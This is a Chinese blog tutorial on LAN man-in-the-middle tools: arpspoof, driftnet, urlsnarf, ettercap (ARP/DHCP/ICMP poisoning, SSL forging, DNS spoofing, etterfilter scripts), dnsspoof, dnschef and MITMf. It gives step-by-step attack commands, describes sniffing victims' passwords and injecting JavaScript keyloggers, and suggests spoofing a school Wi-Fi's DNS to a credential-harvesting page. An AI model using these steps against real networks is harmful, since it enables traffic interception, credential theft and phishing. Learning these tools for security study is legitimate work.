BetaMao

嗅探欺骗

字数统计: 4.7k阅读时长: 19 min
2016/03/23 Share

旧文迁移,也是一些很有意思的工具。

arpspoof


arp欺骗攻击
0:查看接入局域网的网卡

1
ifconfig


1:关闭流量转发

1
echo 0 > /proc/sys/net/ipv4/ip_forward

2:查看网关IP

1
route -n


3:扫描目标主机

1
fping -asg 192.168.99.0/24


4:实施欺骗

1
arpspoof -i 网卡 -t  受害者IP 网关IP            //阻断从受害者发往网关的通信


这183这台通往1的数据会被劫持到攻击主机,而主机未开启流量转发,就会断网

抓取流过网卡的图片

当劫持了流量,就可以抓起里面的图片:

1
driftnet  -i  网卡

这个drifnet还有几个常用的参数可以用help查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Options:
-v 详细信息
-b 收到一张图就蜂鸣一次
-i interface 选择网卡,默认是所有.
-f file 直接从抓到的包文件里读取(需使用kimst或类似的工具抓的包)
-p 不把要监听的网卡设置成混杂模式
-a Adjunct mode: 不在屏幕上打印图片,只保存并显示他的名字
-m number adjunct mode模式下保存的图片的最大数量
-d directory 指定临时目录的名字
-x prefix 为保存的文件指定前缀
-s 尝试解压音频流的图片,只支持MPEG 格式
-S 提取没有图片的音频
-M command 使用一个命令去播放-s提取出来的音频,默认用 `mpg123 -'.
#你也能通过点击图片来保存他们

嗅探URL

urlsnarf

1
urlsnarf -i eth0

webspy

1
webspy -i eth0 1.1.1.10

ettercap


Ettercap:可能是现在功能最强大的中间人攻击工具吧。转发mac与本机相同,但IP与本机不同的数据包,并且支持SSH1,SSL中间人的攻击。

模块划分

彼此分离,互不干扰,可以使用其他软件取代对应模块功能:
sniffer:

还负责数据包转发
unified:
  单网卡情况下独立完成三层包转发(使用内置的转发而不是ip_forword)
bridge:
  双网卡情况下的一层MITM模式,可看做一根网线,隐蔽性好
  可作为IPS过滤数据包
  不可在网关上使用(透明网桥)

mitm:

把流量重定向到ettercap主机上可使用其他工具实现MITM攻击:
ARP:
  很熟悉的一种攻击方式了,对目标主机发送虚假的ARP数据包,将网关的mac地址修改为自己的(全双工)
{2.4以上内核对ARP地址欺骗的约束
  收到非请求的ARP响应包,不更新本地ARP缓存,对此ettercap支持使用ARP request包进行攻击
Solaris不根据ARP包更新本地ARP缓存
  ettercap使用先发ICMP包来更新ARP缓存}
ICMP
  ICMP路由重定向,对目标主机发送路由优化信息,改变目标的路由(半双工)
DHCP
  伪造DHCP服务器并抢先响应DHCP请求,控制分配网络配置(半双工)
Switch Port Stealing
  对绑定mac地址绑定到交换机,以受害者地址为源地址,本机地址为目标地址发送数据包,是交换机改变端口(flood目标地址是本机,源地址是受害者的包)
NDP
  IPv6协议欺骗技术

filter:

负责对经过的数据包进行修改,注入等操作(下一篇介绍)

log:

日志模块(下一篇介绍)

plugin:

它支持很多插件

用户界面

-T 文本界面

-G 图形界面

-C 基于文本的图形界面

-D 后台模式(后台,无图)

修改配置

为了安全,默认是nobody权限运行,只有在创建socket连接时是root,这样就需要为其使用的一些目录赋予权限(例如日志目录),为了方便可以修改为root权限:

两个65534都改为0
要使用sslstript攻击,需要将配置文件的注释去掉:

去掉注释
对于想进行ssl证书伪造,它默认是存在证书的,也可以自己生成证书:

1
2
3
4
5
openssl genrsa −out etter.ssl.crt 1024
openssl req −new−keyetter.ssl.crt −out tmp.csr
openssl x509 −req −days 1825 −in tmp.csr −signkey etter.ssl.crt −out tmp.new
cat tmp.new>>etter.ssl.crt
rm −f tmp.newtmp.csr

要进行DNS欺骗,需修改配置:

1
vi /etc/ettercap/etter.dns


像这样,前面写要欺骗的域名,后面写记录类型与要欺骗到的ip(可使用泛解析)

图形界面使用


先选择嗅探模式,如模块介绍,一般都是选择单网卡(unified sniffing)。

选择网卡。

先扫描主机(可以在最开始那个界面,设置子网掩码),可以激活ipv6扫描,可以直接载入列表文件或是将之保存为一个列表文件,扫描后,选择列出主机。

选择目标主机(可以按Ctrl多选,这里是有顺序的,在双向的模式下没有影响,单向就有了)

现在就可以使用中间人攻击(若不这样,将是被动的),这里选择ARP中毒攻击。

攻击的方式,第一种remote是双向欺骗,第二种oneway是单向欺骗,一般选择第一个。

这时也可以选择一些日志记录设置。

选择一些辅助插件,双击即可激活,激活前面会有一个星号。

开始攻击!

受害者主机上可以看到ARP表已经更新,网关的mac地址变成了攻击的(192.168.0.113)得mac地址。

这是嗅探的密码(他是基于端口识别协议然后识别密码)。



这样进行dns欺骗。

目标表示

新版必须使用此格式了,逻辑为“与”,注意到一般来说MAC/IP/IPv6都是一一对应的,所以只需要指定一个就好了,若为空表示所有,例如”///“:
MAC/IPs/IPv6/Ports
对于同种形式的端口,ip可以使用”,”,”-“进行分割:
192.168.1.1-13,25,30
对于不同形式的用分号分割:
192.168.0.1;192.168.1.1

命令行参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
用法: ettercap [OPTIONS] [TARGET1] [TARGET2]

嗅探攻击参数:
-M, --mitm <METHOD:ARGS> 进行中间人攻击
-o, --only-mitm 值中间人攻击不嗅探
-b, --broadcast 嗅探广播包
-B, --bridge <IFACE> 使用bridge模式嗅探(需要两张网卡)
-p, --nopromisc 不将网卡置入混杂模式
-S, --nosslmitm 不伪造SSL证书(不对SSL进行中间人攻击)
-u, --unoffensive 不重定向数据包
-r, --read <file> 从pcap文件读取数据
-f, --pcapfilter <string> 设置pcap过滤
-R, --reversed 使用反向目标匹配
-t, --proto <proto> 只嗅探指定协议(TCP/UDP/ALL,默认all )
--certificate <file> 指定ssl证书文件(这时就可以使用上面生成的那个)
--private-key <file> 指定ssl私钥文件(这时就可以使用上面生成的那个)

用户界面:
-T, --text 纯字符
-q, --quiet 只显示账号密码
-s, --script <CMD> 发送这些命令到图形化界面
-C, --curses 字符图形
-D, --daemon 后台运行
-G, --gtk 图形化界面

日志参数:
-w, --write <file> 将嗅探的数据包保存为文件
-L, --log <logfile> 记录所有数据
-l, --log-info <logfile> 只记录被动信息
-m, --log-msg <logfile> 记录所有信息
-c, --compress 使用gzip压缩

可视化参数:
-d, --dns 将IP地址解析为主机名
-V, --visual <format> 设置可视化格式
-e, --regex <regex> 可视化正则匹配包
-E, --ext-headers 输出额外的头
-Q, --superquiet 最安静的模式(连嗅探的账号和密码都不显示)

LUA参数:
--lua-script <script1>,[<script2>,...] 用逗号分隔的lua脚本
--lua-args n1=v1,[n2=v2,...] 对lua脚本以逗号分隔指定参数

常用参数:
-i, --iface <iface> 指定网卡
-I, --liface 显示所有的网卡设备
-Y, --secondary <ifaces> 显示第二块网卡
-n, --netmask <netmask> 强制在网卡上指定子网掩码
-A, --address <address> 强制在网卡上指定本机地址
-P, --plugin <plugin> 激活插件
-F, --filter <file> 载入filter文件
-z, --silent 不做初始化的ARP扫描
-6, --ip6scan 扫描ipv6主机
-j, --load-hosts <file> 载入主机列表
-k, --save-hosts <file> 保存主机列表
-W, --wifi-key <wkey> 使用密码来解码WEP和WPA数据包
-a, --config <config> 指定配置文件

标准参数:
-v, --version 输出版本信息
-h, --help 输出帮助信息

Ettercap使用

ARP欺骗:-M arp:remote /10.0.0.2// /// #支持remote和oneway
ICMP欺骗: -M icmp:00:11:22:33:44:55/10.0.0.1 #真实路由器mac/真实真实路由器ip
DHCP欺骗: -M dhcp:192.168.0.30,35,50-60/255.255.255.0/192.168.0.1 #地址池/子网掩码/DNS服务器
PORT盗用: -M port /1.1.1.1/ /1.1.1.2/
NDP攻击: -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/
例如进行上一段进行的攻击可以写成这样:

不过因为没有加-q参数,会显示很多额外的信息。。。

Etterfilter使用

ettercap的filter可以说是一个很吸引人的功能,可以对数据进行插入(后门),替换,断开连接等操作,但是要使用它,需要先编写脚本,并且使用etterfilter对脚本进行转换。。。

1
2
3
4
5
6
7
8
参数:
-o, 指定输出文件,默认是filter.ef.
-t, 你能以可读的方式分析一个编译后的ef文件
-d, 输出编译调试信息,可以加更多的“d”来改变debug级别
-w, 忽略编译警告
标准参数:
-v, 输出版本信息
-h, 输出帮助信息

例如:etterfilter filter.ecf -o filter.ef
脚本语法:
语法和C类似,他只有if和if else语句,语句块用{}包围,在if (条件)的if与(必须相隔一个空格,但是函数中必须紧挨着(看下面例子就懂了)

1
2
3
例:
if (conditions) { }
func(args...);
可以用"||""&&"来并列多个条件(不能使用"()"来改变优先级)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
例如:
if (tcp.src == 21 && search(DATA.data, "ettercap")) {
}

例如:
if (ip.proto == UDP || ip.proto == TCP && tcp.src == 80) {
}

if (ip.proto == TCP && tcp.src == 80 || ip.proto == UDP) {
}
```
可以看到这个协议的格式和wireshark里面是一样的,ip地址必须使用""包围。
```sh
例如:
if (DATA.data + 20 == "ettercap" && ip.ttl > 16) {
}
1
2
3
例如:
ip.ttl = 0xff;
DATA.data + 7 = "ettercap NG";

可使用自增自减

1
2
例:
ip.ttl += 5;

函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
search(where, what)
where(表示buffer的内容:"DECODED.data"或者"DATA.data")字符串里面搜索what,若存在返回true,支持16进制:
example:
search(DATA.data, "\x41\x42\x43")
regex(where, regex)
用正在表达式来匹配buffer的内容
example:
regex(DECODED.data, ".*login.*")
replace(what, with)
用with来替换DATA.data中的what
example:
replace("ethercap", "ettercap")
inject(what)
注入数据
example:
inject("./fake_packet")
log(what, where)
日志记录
example:
log(DECODED.data, "/tmp/interesting.log")
msg(message)
显示一个信息来表示注入成功
example:
msg("Packet filtered successfully")
drop()
丢弃包
example:
drop()
kill()
中断连接
example:
kill()
exec(command)
执行命令,需要写完整的路径
example:
exec("/bin/cat /tmp/foo >> /tmp/bar")
exit()
为了验证条件控制来使用的退出函数
example:
exit()

下面是自带的filter脚本样例,可以参考着来编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
############################################################################
# #
# ettercap -- etter.filter.examples -- filter source file #
# #
# Copyright (C) ALoR & NaGA #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
############################################################################

# make sure this filter will not be used...
exit();


# display a message if the tcp port is 22
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
msg("SSH packet\n");
}
}


# log all telnet traffic, also execute ./program on every packet
if (ip.proto == TCP) {
if (tcp.src == 23 || tcp.dst == 23) {
log(DATA.data, "./logfile.log");
exec("./program");
}
}


# log all traffic except http
if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) {
log(DATA.data, "./logfile.log");
}


# some operation on the payload of the packet
if ( DATA.data + 20 == 0x4142 ) {
DATA.data + 20 = 0x4243;
} else {
DATA.data = "modified";
DATA.data + 20 = 0x4445;
}


# drop any packet containing "ettercap"
if (search(DECODED.data, "ettercap")) {
msg("some one is talking about us...\n");
drop();
kill();
}


# log ssh decrypted packets matching the regexp
if (ip.proto == TCP) {
if (tcp.src == 22 || tcp.dst == 22) {
if (regex(DECODED.data, ".*login.*")) {
log(DECODED.data, "./decrypted_log");
}
}
}

# dying packets
if (ip.ttl < 5) {
msg("The packet will die soon\n");
}

# the same for IPv6 but make sure we really see IPv6 packets doing such trivial tests
if (eth.proto == IP6 && ipv6.hl < 5) {
msg("The IPv6 packet will die soon\n");
}

# string comparison at a given offset
if (DATA.data + 40 == "ette") {
log(DATA.data, "./logfile");
}

# inject a file after a specific packet
if (tcp.src == 21 && search(DATA.data, "root")) {
inject("./fake_response");
}

# replace the entire packet with another
if (tcp.src == 23 && search(DATA.data, "microsoft")) {
drop();
inject("./fake_telnet");
}

# Modifying binary data by using external commands
if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) {
log(DATA.data, "/tmp/payload");
drop();
execinject("/bin/sed 's/\x03com\x00/\x02my\x04page\x02de\x00/g' /tmp/payload");
udp.len += 7;
exec("/bin/rm /tmp/payload");
msg("faked");
}

# filter only a specific ip address
if (ip.src == '192.168.0.2') {
drop();
}

# do the same for IPv6
if (ipv6.src == '2001:db8::1') {
drop();
}

# combined both IPv4 and IPv6
if (eth.proto == IP && ip.dst == '192.168.0.2') {
msg("drop IPv4");
drop();
}
if (eth.proto == IP6 && ipv6.dst == '2001:db8::1') {
msg("drop IPv6");
drop();
}

# translate the port of the tcp packet from 80 to 81
if (tcp.dst == 80) {
tcp.dst -= 1;
tcp.dst += 2;
}

# identify and mangle ESP packets
if (ip.proto == ESP) {
DATA.data = "DEADDECAF";
}

# eof

Etterlog日志查看

1
2
3
etterlog -p log.eci 查看获取的密码
etterlog -c log.ecp 列出Log中的连接
etterlog -c -f /1.1.1.1/ log.ecp

dns欺骗


ettercap版

1:修改配置文件

打开后,里面有说明,主要就是改

添加这么一行,就是把www.baidu.com的域名欺骗到kali,也可以*.com是指将所有.com结尾的域名欺骗指向kali,因为在我们学校,连上wifi后,除非是直接的IP指向的内网不需要登录,其他的都是需要登陆的,于是我改成欺骗所有域名

2:打开ettercap的嗅探进行ARP欺骗【详见上一篇ARP欺骗攻击】



将要进行dns欺骗的设为目标1,网关设置为目标2

开启ARP毒化
3:启用dns欺骗插件


双击dns_spoof前面会出现*下面也有提示说激活了该插件
开始嗅探

4:受害者打开任何用域名打开的网页都会被欺骗到指定页面


【指定到这个页面干啥?当然是输入账号和密码才能使用了啊,详见社会工程里面后续步骤,这个也可以用在钓鱼wifi里面哟,这时不用Arp欺骗即可成功】

dnsspoof

嗅探数据,若目标端口是53端口,就进行欺骗:
先修改配置文件,格式如自带的格式即可:

1
vim /usr/share/dsniff/dnsspoof.hosts

在中间人攻击的情况下,开始欺骗:

这时在受害者主机上可以看到:

dnschef

通过构造虚假DNS服务器(不局限于局域网,但是需要受害主机更改DNS服务器配置)

–fakeip指定要欺骗到的ip—fakedomains指定要欺骗的域名—interface指定监听设备(多个域名可使用逗号分隔),这样他就会监听53端口作为dns服务器,当受害主机查询匹配域名就返回虚假ip否则就去真实的dns服务器查询结果并返回给受害者。

(受害者指定dns服务器)

欺骗成功。

mitmf


Mitmf,中间人攻击的工具,将很多小工具集合在一起,他能实现一些很强大的功能,例如对数据包进行注入,注入恶意代码,恶意软件,也可以嗅探等等,kali不自带,需要安装:
先安装这些小工具:

1
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file

下载一个东西
http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
安装它

1
apt-get install mitmf

卸载一个东西

1
pip uninstall twisted

安装刚才下载的那个

1
pip install Twisted-15.5.0.tar.bz2

这是参数说明,考虑到下面转载的一篇会有一些说明,这里就没有说的太详细:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
MITMf:
Options for MITMf
--log-level {debug,info} 指定日志的详细度[default: info]
-i INTERFACE 指定监听的网卡
-c CONFIG_FILE 指定一个配置文件
-p, --preserve-cache 不杀死客户端/服务端的缓存
-r READ_PCAP, --read-pcap READ_PCAP
分析指定包的凭据信息并退出
-l PORT 指定监听的端口
-f, --favicon 在浏览安全网站时替代小锁的图标
-k, --killsessions 结束进程.
-F FILTER, --filter FILTER 在数据流入时进行过滤
Responder:
Poison LLMNR, NBT-NS and MDNS requests
--responder 载入这个插件
--fingerprint 输出主机的NBT-NS or LLMNR 查询
--lm 强迫降级哈希
--basic 如果你想返回一个basic http认证需要设置这个,否者会返回ntlm的认证
Inject:
--inject 载入这个插件
--js-url JS_URL 指定注入的js代码的URL
--js-payload JS_PAYLOAD 直接接一个js代码
--js-file JS_FILE 指定js代码的文件路径
--html-url HTML_URL 指定要注入的html的URL
--html-payload HTML_PAYLOAD 直接接一个html代码
--html-file HTML_FILE 指定html代码的文件路径
--per-domain 对一台主机访问的一个域之注入一次
--rate-limit RATE_LIMIT 对一台主机多久注入一次
--count-limit COUNT_LIMIT 只对每一台主机注入有限次
--white-ips IP 只在这些IP内注入
--black-ips IP 不在这些IP内注入
--white-domains DOMAINS
只在这些域内注入
--black-domains DOMAINS
不在这些域内注入

HTA Drive-By:
--hta 载入这个插件
--text TEXT 去显示醒目的文本
--hta-app HTA_APP HTA路径

SMBTrap:
--smbtrap 载入这个插件
JSKeylogger:(键盘记录器)
--jskeylogger 载入这个插件
Ferret-NG:
--ferretng 载入这个插件
--port PORT 指定ferret-ng代理时的端口 (default 10010)
--load-cookies FILE 从一个日志文件载入cookies

Replace:
--replace 载入这个插件
BrowserProfiler:
--browserprofiler 载入这个插件
Upsidedownternet:( 将图片旋转180.。。。。)
--upsidedownternet 载入这个插件
AppCachePoison:
--appoison 载入这个插件
Spoof:
Redirect/Modify traffic using ICMP, ARP, DHCP or DNS
--spoof 载入这个插件
--arp 使用ARP欺骗
--icmp 使用icmp方式
--dhcp 使用DHCP方式
--dns 使用dns方式
--netmask NETMASK 这个网络的子网掩码
--shellshock PAYLOAD 当用DHCP欺骗触发shellshock漏洞是执行。。
--gateway GATEWAY 指定网关IP
--gatewaymac GATEWAYMAC
指定网关mac,如果省略也会自动解析出来
--targets TARGETS 指定目标,不指定就是整个子网
--ignore IGNORE 指定例外的主机
--arpmode {rep,req} 设置apr欺骗的模式,默认是请求模式,还有响应模式

SMBAuth:
Evoke SMB challenge-response auth attempts
--smbauth 载入这个插件
SSLstrip+:
Enables SSLstrip+ for partial HSTS bypass
--hsts 载入这个插件+'
ScreenShotter:(截图)
--screen 载入这个插件
--interval SECONDS 设置截屏间隔,默认10s
BrowserSniper:
--browsersniper 载入这个插件r'
FilePwn:
--filepwn 载入这个插件

实例我就不演示了,可见freebuf上的文章

来源


安全牛-kali-linux

CATALOG
  1. 1. arpspoof
    1. 1.1. 抓取流过网卡的图片
    2. 1.2. 嗅探URL
      1. 1.2.1. urlsnarf
      2. 1.2.2. webspy
  2. 2. ettercap
    1. 2.1. 模块划分
    2. 2.2. 用户界面
    3. 2.3. 修改配置
    4. 2.4. 图形界面使用
    5. 2.5. 目标表示
    6. 2.6. 命令行参数
      1. 2.6.1. Ettercap使用
      2. 2.6.2. Etterfilter使用
      3. 2.6.3. Etterlog日志查看
  3. 3. dns欺骗
    1. 3.1. ettercap版
    2. 3.2. dnsspoof
    3. 3.3. dnschef
  4. 4. mitmf
  5. 5. 来源